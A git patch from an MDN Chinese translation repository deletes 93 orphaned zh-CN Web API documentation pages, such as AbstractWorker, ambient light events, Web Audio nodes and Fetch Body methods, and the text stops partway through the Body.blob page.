From b9afb23d12dcae1e09f8d04c72143c5ddaa34aea Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Fri, 16 Jul 2021 16:27:00 -0400 Subject: delete conflicting/orphaned docs (zh-CN) (#1412) * delete conflicting docs (zh-CN) * and redirects * do orphaned as well * fix * remove more orphans * revert orphaned docs that can identify origin * move orphaned docs to current loc * adjust slug path * fix redirect change from rebase Co-authored-by: Irvin --- .../orphaned/web/api/abstractworker/index.html | 88 ------ .../web/api/abstractworker/onerror/index.html | 74 ----- .../web/api/ambient_light_events/index.html | 75 ----- .../orphaned/web/api/analysernode/fft/index.html | 8 - .../audiocontext/mozaudiochanneltype/index.html | 96 ------- .../api/audionode/connect(audioparam)/index.html | 164 ----------- .../orphaned/web/api/body/arraybuffer/index.html | 143 --------- files/zh-cn/orphaned/web/api/body/blob/index.html | 137 --------- files/zh-cn/orphaned/web/api/body/body/index.html | 87 ------ .../orphaned/web/api/body/bodyused/index.html | 135 --------- .../orphaned/web/api/body/formdata/index.html | 123 -------- files/zh-cn/orphaned/web/api/body/index.html | 97 ------- files/zh-cn/orphaned/web/api/body/json/index.html | 91 ------ files/zh-cn/orphaned/web/api/body/text/index.html | 86 ------ .../orphaned/web/api/childnode/after/index.html | 176 ------------ .../orphaned/web/api/childnode/before/index.html | 188 ------------ files/zh-cn/orphaned/web/api/childnode/index.html | 78 ----- .../orphaned/web/api/childnode/remove/index.html | 96 ------- .../web/api/childnode/replacewith/index.html | 112 -------- .../api/detecting_device_orientation/index.html | 319 --------------------- .../orphaned/web/api/devicelightevent/index.html | 62 ---- .../simple_document.cookie_framework/index.html | 219 -------------- .../api/document_object_model/events/index.html | 81 ------ .../web/api/documentorshadowroot/index.html | 79 ----- .../orphaned/web/api/documenttouch/index.html | 33 --- files/zh-cn/orphaned/web/api/domlocator/index.html | 51 ---- .../web/api/element/currentstyle/index.html | 77 ----- .../web/api/element/runtimestyle/index.html | 77 ----- .../web/api/elementcssinlinestyle/style/index.html | 81 ------ files/zh-cn/orphaned/web/api/entity/index.html | 53 ---- .../orphaned/web/api/fetchobserver/index.html | 146 ---------- .../orphaned/web/api/fullscreenoptions/index.html | 28 -- .../web/api/htmlelement/forcespellcheck/index.html | 93 ------ .../web/api/htmlhyperlinkelementutils/index.html | 84 ------ .../web/api/htmlorforeignelement/blur/index.html | 25 -- .../api/htmlorforeignelement/dataset/index.html | 124 -------- .../web/api/htmlorforeignelement/focus/index.html | 159 ---------- .../web/api/htmlorforeignelement/nonce/index.html | 59 ---- .../api/htmlorforeignelement/tabindex/index.html | 50 ---- .../basic_concepts_behind_indexeddb/index.html | 205 ------------- .../zh-cn/orphaned/web/api/msselection/index.html | 102 ------- files/zh-cn/orphaned/web/api/namelist/index.html | 49 ---- .../navigator/registercontenthandler/index.html | 48 ---- .../hardwareconcurrency/index.html | 70 ----- .../web/api/navigatorconcurrenthardware/index.html | 72 ----- .../web/api/navigatorid/appcodename/index.html | 37 --- .../web/api/navigatorid/appname/index.html | 38 --- .../web/api/navigatorid/appversion/index.html | 43 --- .../zh-cn/orphaned/web/api/navigatorid/index.html | 121 -------- .../web/api/navigatorid/platform/index.html | 36 --- .../web/api/navigatorid/product/index.html | 35 --- .../web/api/navigatorid/useragent/index.html | 80 ------ .../orphaned/web/api/navigatorlanguage/index.html | 69 ----- .../web/api/navigatorlanguage/language/index.html | 65 ----- .../web/api/navigatorlanguage/languages/index.html | 65 ----- .../orphaned/web/api/navigatoronline/index.html | 127 -------- .../web/api/navigatoronline/online/index.html | 88 ------ .../online_and_offline_events/index.html | 120 -------- .../orphaned/web/api/navigatorplugins/index.html | 106 ------- .../api/navigatorplugins/javaenabled/index.html | 31 -- .../web/api/navigatorplugins/mimetypes/index.html | 40 --- .../web/api/navigatorplugins/plugins/index.html | 96 ------- .../index.html" | 39 --- .../orphaned/web/api/navigatorstorage/index.html | 71 ----- .../web/api/navigatorstorage/storage/index.html | 57 ---- .../orphaned/web/api/node/getuserdata/index.html | 97 ------- .../orphaned/web/api/node/setuserdata/index.html | 104 ------- files/zh-cn/orphaned/web/api/notation/index.html | 53 ---- .../orphaned/web/api/notification/sound/index.html | 130 --------- .../web/api/oscillatornode/stop/index.html | 122 -------- .../orphaned/web/api/parentnode/append/index.html | 147 ---------- .../web/api/parentnode/children/index.html | 118 -------- .../api/parentnode/firstelementchild/index.html | 96 ------- files/zh-cn/orphaned/web/api/parentnode/index.html | 82 ------ .../web/api/parentnode/lastelementchild/index.html | 94 ------ .../orphaned/web/api/parentnode/prepend/index.html | 135 --------- .../web/api/parentnode/queryselector/index.html | 96 ------- .../web/api/parentnode/queryselectorall/index.html | 158 ---------- .../web/api/parentnode/replacechildren/index.html | 162 ----------- .../orphaned/web/api/renderingcontext/index.html | 30 -- .../orphaned/web/api/request/context/index.html | 42 --- .../getdefaulticeservers/index.html | 58 ---- .../orphaned/web/api/textrange/text/index.html | 71 ----- files/zh-cn/orphaned/web/api/typeinfo/index.html | 71 ----- .../web/api/uievent/cancelbubble/index.html | 19 -- .../websocket_server_vb.net/index.html | 271 ----------------- .../web/api/window/getattention/index.html | 34 --- .../web/api/window/ondevicelight/index.html | 106 ------- .../web/api/window/ondeviceproximity/index.html | 94 ------ .../web/api/window/onuserproximity/index.html | 44 --- .../orphaned/web/api/xdomainrequest/index.html | 187 ------------ .../web/api/xmlhttprequest/openrequest/index.html | 9 - .../web/api/xmlhttprequestresponsetype/index.html | 69 ----- 93 files changed, 8563 deletions(-) delete mode 100644 files/zh-cn/orphaned/web/api/abstractworker/index.html delete mode 100644 files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html delete mode 100644 files/zh-cn/orphaned/web/api/ambient_light_events/index.html delete mode 100644 files/zh-cn/orphaned/web/api/analysernode/fft/index.html delete mode 100644 files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html delete mode 100644 files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/arraybuffer/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/blob/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/body/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/bodyused/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/formdata/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/json/index.html delete mode 100644 files/zh-cn/orphaned/web/api/body/text/index.html delete mode 100644 files/zh-cn/orphaned/web/api/childnode/after/index.html delete mode 100644 files/zh-cn/orphaned/web/api/childnode/before/index.html delete mode 100644 files/zh-cn/orphaned/web/api/childnode/index.html delete mode 100644 files/zh-cn/orphaned/web/api/childnode/remove/index.html delete mode 100644 files/zh-cn/orphaned/web/api/childnode/replacewith/index.html delete mode 100644 files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html delete mode 100644 files/zh-cn/orphaned/web/api/devicelightevent/index.html delete mode 100644 files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html delete mode 100644 files/zh-cn/orphaned/web/api/document_object_model/events/index.html delete mode 100644 files/zh-cn/orphaned/web/api/documentorshadowroot/index.html delete mode 100644 files/zh-cn/orphaned/web/api/documenttouch/index.html delete mode 100644 files/zh-cn/orphaned/web/api/domlocator/index.html delete mode 100644 files/zh-cn/orphaned/web/api/element/currentstyle/index.html delete mode 100644 files/zh-cn/orphaned/web/api/element/runtimestyle/index.html delete mode 100644 files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html delete mode 100644 files/zh-cn/orphaned/web/api/entity/index.html delete mode 100644 files/zh-cn/orphaned/web/api/fetchobserver/index.html delete mode 100644 files/zh-cn/orphaned/web/api/fullscreenoptions/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html delete mode 100644 files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html delete mode 100644 files/zh-cn/orphaned/web/api/msselection/index.html delete mode 100644 files/zh-cn/orphaned/web/api/namelist/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/appname/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/platform/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/product/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorlanguage/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatoronline/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatoronline/online/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorplugins/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html delete mode 100644 "files/zh-cn/orphaned/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" delete mode 100644 files/zh-cn/orphaned/web/api/navigatorstorage/index.html delete mode 100644 files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html delete mode 100644 files/zh-cn/orphaned/web/api/node/getuserdata/index.html delete mode 100644 files/zh-cn/orphaned/web/api/node/setuserdata/index.html delete mode 100644 files/zh-cn/orphaned/web/api/notation/index.html delete mode 100644 files/zh-cn/orphaned/web/api/notification/sound/index.html delete mode 100644 files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/append/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/children/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/prepend/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html delete mode 100644 files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html delete mode 100644 files/zh-cn/orphaned/web/api/renderingcontext/index.html delete mode 100644 files/zh-cn/orphaned/web/api/request/context/index.html delete mode 100644 files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html delete mode 100644 files/zh-cn/orphaned/web/api/textrange/text/index.html delete mode 100644 files/zh-cn/orphaned/web/api/typeinfo/index.html delete mode 100644 files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html delete mode 100644 files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html delete mode 100644 files/zh-cn/orphaned/web/api/window/getattention/index.html delete mode 100644 files/zh-cn/orphaned/web/api/window/ondevicelight/index.html delete mode 100644 files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html delete mode 100644 files/zh-cn/orphaned/web/api/window/onuserproximity/index.html delete mode 100644 files/zh-cn/orphaned/web/api/xdomainrequest/index.html delete mode 100644 files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html delete mode 100644 files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html (limited to 'files/zh-cn/orphaned/web/api') diff --git a/files/zh-cn/orphaned/web/api/abstractworker/index.html b/files/zh-cn/orphaned/web/api/abstractworker/index.html deleted file mode 100644 index b92de9c8ff..0000000000 --- a/files/zh-cn/orphaned/web/api/abstractworker/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: AbstractWorker -slug: orphaned/Web/API/AbstractWorker -tags: - - API - - AbstractWorker - - Interface - - Reference - - SharedWorker - - Web Workers - - Worker -translation_of: Web/API/AbstractWorker -original_slug: Web/API/AbstractWorker ---- -

{{ APIRef("Web Workers API") }}

- -

 Web Workers API 的 AbstractWorker 接口是一个定义适用于所有类型 worker 属性和方法的抽象接口,包括基础的 {{domxref("Worker")}},{{domxref("ServiceWorker")}} 以及 {{domxref("SharedWorker")}}。作为一个抽象类,你不能直接使用 AbstractWorker

- -

属性

- -

AbstractWorker 接口不会继承任何属性。

- -

事件处理函数

- -
-
{{domxref("AbstractWorker.onerror")}}
-
当 worker 中出现 {{domxref("ErrorEvent")}} 类型的错误时,{{ domxref("EventListener") }} 就会被调用。
-
- -

方法

- -

AbstractWorker 接口不会实现或继承任何方法。

- -

例子

- -

作为一个抽象类接口,你不应该在代码中直接使用 AbstractWorker 接口。取而代之,你应该使用 {{domxref("Worker")}} 或 {{domxref("SharedWorker")}},这两者都继承了 AbstractWorker 的属性。

- -

下面的一小段代码是展示如何使用 {{domxref("Worker.Worker", "Worker()")}} 构造函数构造 {{domxref("Worker")}} 对象并使用它:

- -
var myWorker = new Worker("worker.js");
-
-first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
- -

worker 的代码会从 "worker.js" 文件被加载。代码假设这里已经有一个现成的 {{HTMLElement("input")}} 元素且由 first 表示;设置了一个用于 {{event("change")}} 事件的事件处理函数,所以当用户更改 first 的值时,一个提示信息会被提交且通知到 worker。

- -

完整的例子,请看:

- - - -

相关规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("Web Workers")}}.
- -


- 浏览器兼容性

- -

{{Compat("api.AbstractWorker")}}

- -
- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html b/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html deleted file mode 100644 index fe50b2e767..0000000000 --- a/files/zh-cn/orphaned/web/api/abstractworker/onerror/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: AbstractWorker.onerror -slug: orphaned/Web/API/AbstractWorker/onerror -tags: - - API - - AbstractWorker - - EventHandler - - Property - - Reference - - Web Workers - - Workers - - onerror -translation_of: Web/API/AbstractWorker/onerror -original_slug: Web/API/AbstractWorker/onerror ---- -

{{ APIRef("Web Workers API") }}

- -

概述

- -

{{domxref("AbstractWorker")}}接口的onerror特性是一个事件句柄,在 {{domxref("Worker")}}的{{event("error")}}事件触发并冒泡时执行。

- -

语法

- -
myWorker.onerror = function() { ... };
- -

示例

- -

下面的代码片段展示了通过 Worker() 创建 Worker 对象的过程, 以及设置onerror回调函数:

- -
var myWorker = new Worker("worker.js");
-
-myWorker.onerror = function() {
-  console.log('There is an error with your worker!');
-}
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#handler-abstractworker-onerror", "AbstractWorker.onerror")}}{{Spec2('Web Workers')}}Initial definition.
- -

浏览器兼容性

- -
-

{{Compat("api.AbstractWorker.onerror")}}

- -

试图加载跨域 Worker 的错误差异

- -

早期浏览器会抛出 SecurityError,在规范变更后,则是  {{event("error")}} 事件。具体见 Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed.

-
- -
 
- -

另请参阅

- - diff --git a/files/zh-cn/orphaned/web/api/ambient_light_events/index.html b/files/zh-cn/orphaned/web/api/ambient_light_events/index.html deleted file mode 100644 index 79a7ed9fbe..0000000000 --- a/files/zh-cn/orphaned/web/api/ambient_light_events/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Using Light Events -slug: orphaned/Web/API/Ambient_Light_Events -tags: - - WebAPI - - 事件 - - 环境光 -translation_of: Web/API/Ambient_Light_Events -original_slug: Web/API/Ambient_Light_Events ---- -
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
- -

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

- -

光线事件

- -

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

- -

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

- -

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

- -

示例

- -
if ('ondevicelight' in window) {
-  window.addEventListener('devicelight', function(event) {
-    var body = document.querySelector('body');
-    if (event.value < 50) {
-      body.classList.add('darklight');
-      body.classList.remove('brightlight');
-    } else {
-      body.classList.add('brightlight');
-      body.classList.remove('darklight');
-    }
-  });
-} else {
-  console.log('不支持 devicelight 事件');
-}
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
- -

浏览器兼容性

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

Gecko 备注

- -

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html b/files/zh-cn/orphaned/web/api/analysernode/fft/index.html deleted file mode 100644 index 77290a3c99..0000000000 --- a/files/zh-cn/orphaned/web/api/analysernode/fft/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Directory failure 目录失效 -slug: orphaned/Web/API/AnalyserNode/fft -original_slug: Web/API/AnalyserNode/fft ---- -

目录失效

- -

Directory failure

diff --git a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html deleted file mode 100644 index 91c65f922a..0000000000 --- a/files/zh-cn/orphaned/web/api/audiocontext/mozaudiochanneltype/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: AudioContext.mozAudioChannelType -slug: orphaned/Web/API/AudioContext/mozAudioChannelType -translation_of: Web/API/AudioContext/mozAudioChannelType -original_slug: Web/API/AudioContext/mozAudioChannelType ---- -

{{APIRef("Web Audio API")}} {{Non-standard_header}}

- -

{{domxref("AudioContext")}}的mozAudioChannelType属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。

- -

该属性是AudioChannels API中定义的非标准属性,更多信息请查看Using the AudioChannels API

- -

语法

- -
var audioCtx = new AudioContext();
-var myAudioChannelType = audioCtx.mozAudioChannelType;
-
- -

只能通过下面的构造器来设置AudioContext中音频的声道:

- -
var audioCtx = new AudioContext('ringer');
- -

返回值

- -

A {{domxref("DOMString")}} value.

- -

例子

- -

TBD

- -

规范

- -

AudioChannels API目前没有官方规范,实现细节请查看https://wiki.mozilla.org/WebAPI/AudioChannels、WebIDL等等

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

另见

- - diff --git a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html deleted file mode 100644 index 46011aa83e..0000000000 --- a/files/zh-cn/orphaned/web/api/audionode/connect(audioparam)/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: AudioNode.connect(AudioParam) -slug: orphaned/Web/API/AudioNode/connect(AudioParam) -translation_of: Web/API/AudioNode/connect(AudioParam) -original_slug: Web/API/AudioNode/connect(AudioParam) ---- -

{{ APIRef("Web Audio API") }}

- -
-

允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。
- 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。
-  AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。
- 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。

-
- -

Syntax

- -
var lfo = audioCtx.createOscillator();
-lfo.frequency.value = 2.0; // Hz, two times per second
-
-var lfoGain = audioCtx.createGain();
-lfoGain.gain.value = 0.5;
-
-// this is the parameter that is going to be modulated
-var gain = audioCtx.createGain();
-gain.gain.value = 0.5;
-
-// Oscillators go from -1 to 1
-// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5
-lfo.connect(lfoGain);
-
-// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0
-lfoGain.connect(gain.gain);
-
-lfo.connect(gain.gain);
- -
-

Note: There can only be one connection between an output from one specific AudioNode and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).

-
- -

Returns

- -

Void.

- -

Example

- -

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-
-var audioCtx = new AudioContext();
-
-// create an normal oscillator to make sound
-var oscillator = audioCtx.createOscillator();
-
-// create a second oscillator that will be used as an LFO (Low-frequency
-// oscillator), and will control a parameter
-var lfo = audioCtx.createOscillator();
-
-// set the frequency of the second oscillator to a low number
-lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
-
-// create a gain whose gain AudioParam will be controlled by the LFO
-var gain = audioCtx.createGain();
-
-// connect the LFO to the gain AudioParam. This means the value of the LFO
-// will not produce any audio, but will change the value of the gain instead
-lfo.connect(gain.gain);
-
-// connect the oscillator that will produce audio to the gain
-oscillator.connect(gain);
-
-// connect the gain to the destination so we hear sound
-gain.connect(audioCtx.destination);
-
-// start the oscillator that will produce audio
-oscillator.start();
-
-// start the oscillator that will modify the gain value
-lfo.start();
- -

Parameters

- -
-
Destination
-
The {{ domxref("AudioParam") }} you are connecting to.
-
Output (optional)
-
An index describing which output of the current AudioNode you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see Audio channels.)  If this parameter is out-of-bound, an INDEX_SIZE_ERR exception is thrown.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html b/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html deleted file mode 100644 index 5d7acf678f..0000000000 --- a/files/zh-cn/orphaned/web/api/body/arraybuffer/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Body.arrayBuffer() -slug: orphaned/Web/API/Body/arrayBuffer -translation_of: Web/API/Body/arrayBuffer -original_slug: Web/API/Body/arrayBuffer ---- -

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

- -

 {{domxref("Body")}}上的方法 arrayBuffer() 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.

- -

语法

- -
response.arrayBuffer().then(function(buffer) {
-  // do something with buffer
-)};
- -

参数

- -

无。

- -

返回值

- -

A promise that resolves with an {{domxref("ArrayBuffer")}}.

- -

例子

- -

In our fetch array buffer example (run fetch array buffer live), we have a Play button. When pressed, the getData() function is run.

- -

In getData() we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source.  When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using arrayBuffer(), decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the {{domxref("AudioContext.destination")}}.

- -

Once getData() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)

- -
function getData() {
-  source = audioCtx.createBufferSource();
-
-  var myRequest = new Request('viper.ogg');
-
-  fetch(myRequest).then(function(response) {
-    response.arrayBuffer().then(function(buffer) {
-      audioCtx.decodeAudioData(buffer, function(decodedData) {
-        source.buffer = decodedData;
-        source.connect(audioCtx.destination);
-      });
-    });
-  });
-};
-
-// wire up buttons to stop and play audio
-
-play.onclick = function() {
-  getData();
-  source.start(0);
-  play.setAttribute('disabled', 'disabled');
-}
- -

标准

- - - - - - - - - - - - - - -
标准状态备注
{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}{{Spec2('Fetch')}} 
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(41) }}[1]
- {{ CompatChrome(42) }}
-  
34[1]
- {{ CompatGeckoDesktop(39)}}
{{ CompatNo }} -

28[1]
- 29

-
{{ CompatNo }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
-
- -

[1] In Chrome 42, Firefox 34 and Opera 28 support for arrayBuffer() was hidden behind a preference.

- -

参考

- - - - diff --git a/files/zh-cn/orphaned/web/api/body/blob/index.html b/files/zh-cn/orphaned/web/api/body/blob/index.html deleted file mode 100644 index 4f09632307..0000000000 --- a/files/zh-cn/orphaned/web/api/body/blob/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Body.blob() -slug: orphaned/Web/API/Body/blob -tags: - - Body.blob() -translation_of: Web/API/Body/blob -original_slug: Web/API/Body/blob ---- -

{{APIRef("Fetch")}}

- -

{{domxref("Body")}}  mixin的 blob()方法使用一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。

- -

句法

- -
response.blob().then(function(myBlob) {
-  // do something with myBlob
-});
- -

参数

- -

None.

- -

返回值

- -

A promise that resolves with a {{domxref("Blob")}}.

- -

例子

- -

在我们 fetch request example (run fetch request live)中,我们使用Request.Request构造方法创建了一个新的request对象,然后使用它来获取一个JPG文件。当fetch成功的时候,我们使用blob()从response中读取一个Blob对象,并使用URL.createObjectURL 将它放入一个object URL ,然后把URL设置为img元素的src属性以显示这张图片。

- -

 

- -
var myImage = document.querySelector('img');
-
-var myRequest = new Request('flowers.jpg');
-
-fetch(myRequest)
-.then(function(response) {
-  return response.blob();
-})
-.then(function(myBlob) {
-  var objectURL = URL.createObjectURL(myBlob);
-  myImage.src = objectURL;
-});
-
- -

规范

- - - - - - - - - - - - - - -
规范状态说明
{{SpecName('Fetch','#dom-body-blob','blob()')}}{{Spec2('Fetch')}} 
- -

浏览器兼容性

- -

{{ CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
